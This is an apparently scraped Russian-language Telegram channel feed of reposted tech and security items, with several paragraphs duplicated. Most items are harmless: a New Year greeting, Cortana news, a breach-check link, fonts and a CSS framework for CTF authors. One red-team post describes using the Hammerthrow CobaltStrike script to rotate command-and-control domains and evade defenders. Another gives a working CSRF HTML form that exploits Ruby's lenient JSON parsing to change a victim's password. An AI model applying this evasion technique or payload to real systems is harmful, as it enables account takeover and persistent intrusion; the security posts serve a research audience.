Поздравляю с новым годом всех +-43х людей. Пусть в новом году у вас все будет так, как вы об этом мечтаете. Максимально круто и необычно.
Forwarded from addmeto
Вот это новость: Microsoft собирается отделить кортану от строки поиска - а значит это будут два разных продукта. С одной стороны это огромные возможности для всех, кто хотел попасть в поисковую строку для поиска по локальным документам и вебу. А с другой стороны это сильно ослабляет использование Кортаны не только голосом - раньше от Кортаны ожидали интеллектуального поиска.
Такой регресс логичен и интересен, посмотрим как реализовано будет https://www.theverge.com/2019/1/16/18185490/microsoft-cortana-windows-10-search-changes
Такой регресс логичен и интересен, посмотрим как реализовано будет https://www.theverge.com/2019/1/16/18185490/microsoft-cortana-windows-10-search-changes
The Verge
Microsoft is separating Cortana from search in Windows 10
Windows search is now free to get more powerful
Рекомендую проверить и свою почту на присутствие в базе
https://haveibeenpwned.com/
https://haveibeenpwned.com/
Have I Been Pwned
Have I Been Pwned: Check if your email address has been exposed in a data breach
Search tens of billions of breached records, monitor corporate domains via API, and get alerted when credentials are exposed. Trusted by security teams, MSSPs, and government agencies worldwide.
Forwarded from [MIS]ter & [MIS]sis Team
Hammerthrow вместо тысячи действий
Наверное все сталкивались с проблемой, которая возникает на этапе постэксплуатации - BlueTeam начинает видеть в сети активность агента и блокирует IP-адреса и домены.
Сегодня расскажем вам о том, как можно решить такую проблему. Для CobaltStrike есть специальный скрипт - Hammerthrow.
По умолчанию CobaltStrike позволяет агенту менять доменные имена. Однако такая смена происходит по кругу и не всегда является эффективной.
Hammerthrow позволяет менять доменные имена рандомно и устанавливать свое время смены доменного имени. Таким образом средства защиты не обнаруживают каких-либо аномалий в трафике и реагируют спокойно.
Да, для работы такого скрипта необходимо большое количество доменных имён. Однако, это гораздо лучше, чем каждый раз терять агенты на машинах пользователей.
#redteam
https://youtube.com/watch?v=LJbMy_13b7E
Наверное все сталкивались с проблемой, которая возникает на этапе постэксплуатации - BlueTeam начинает видеть в сети активность агента и блокирует IP-адреса и домены.
Сегодня расскажем вам о том, как можно решить такую проблему. Для CobaltStrike есть специальный скрипт - Hammerthrow.
По умолчанию CobaltStrike позволяет агенту менять доменные имена. Однако такая смена происходит по кругу и не всегда является эффективной.
Hammerthrow позволяет менять доменные имена рандомно и устанавливать свое время смены доменного имени. Таким образом средства защиты не обнаруживают каких-либо аномалий в трафике и реагируют спокойно.
Да, для работы такого скрипта необходимо большое количество доменных имён. Однако, это гораздо лучше, чем каждый раз терять агенты на машинах пользователей.
#redteam
https://youtube.com/watch?v=LJbMy_13b7E
YouTube
HAMMERTHROW: Rotate my domain
HAMMERTHROW is an aggressor script for CobaltStrike. It runs as an agent in the background by connecting to the teamserver and controls the listener. HAMMERT...
Forwarded from addmeto
Понедельник выдался тихим, поэтому вот вам отличный сайт, позволяющий сравнить разные моноширинные шрифты - именно такими шрифтами по историческим причинам пользуются программисты.
Вообще тема оформления внешнего вида кода программ очень хорошо показывает, насколько программисты любят свою работу. Иногда можно несколько часов потратить на то, чтобы твой текстовый редактор выглядел красивенько http://app.programmingfonts.org/
Вообще тема оформления внешнего вида кода программ очень хорошо показывает, насколько программисты любят свою работу. Иногда можно несколько часов потратить на то, чтобы твой текстовый редактор выглядел красивенько http://app.programmingfonts.org/
Forwarded from YAH
#misc #CTF
Немного для тех, кто пишет задачи для CTF.
Задумал BackEnd, придумал цепочку уязвимостей, уже готов это написать, и тут вспоминаешь что еще придется верстать FrontEnd. Чтобы этим не заниматься, можно использовать готовенькие моднейшие Bootstrap стили вроде этого: https://nostalgic-css.github.io/NES.css/
Немного для тех, кто пишет задачи для CTF.
Задумал BackEnd, придумал цепочку уязвимостей, уже готов это написать, и тут вспоминаешь что еще придется верстать FrontEnd. Чтобы этим не заниматься, можно использовать готовенькие моднейшие Bootstrap стили вроде этого: https://nostalgic-css.github.io/NES.css/
Forwarded from Кавычка (Bo0oM)
Ruby забавно парсит JSON стандартным модулем. В него можно писать комментарии!
Например, если серверная часть не проверяет Content-type запроса на application/json, можно сформировать сценарий для CSRF.
Например, если серверная часть не проверяет Content-type запроса на application/json, можно сформировать сценарий для CSRF.
<body onload="document.forms[0].submit();">
<form action="https://visim" method="POST" enctype="text/plain">
<input type="hidden" name='{"action":"changepassword","password":"PwnMePls!1!!"}//' value="">
</form>
</body>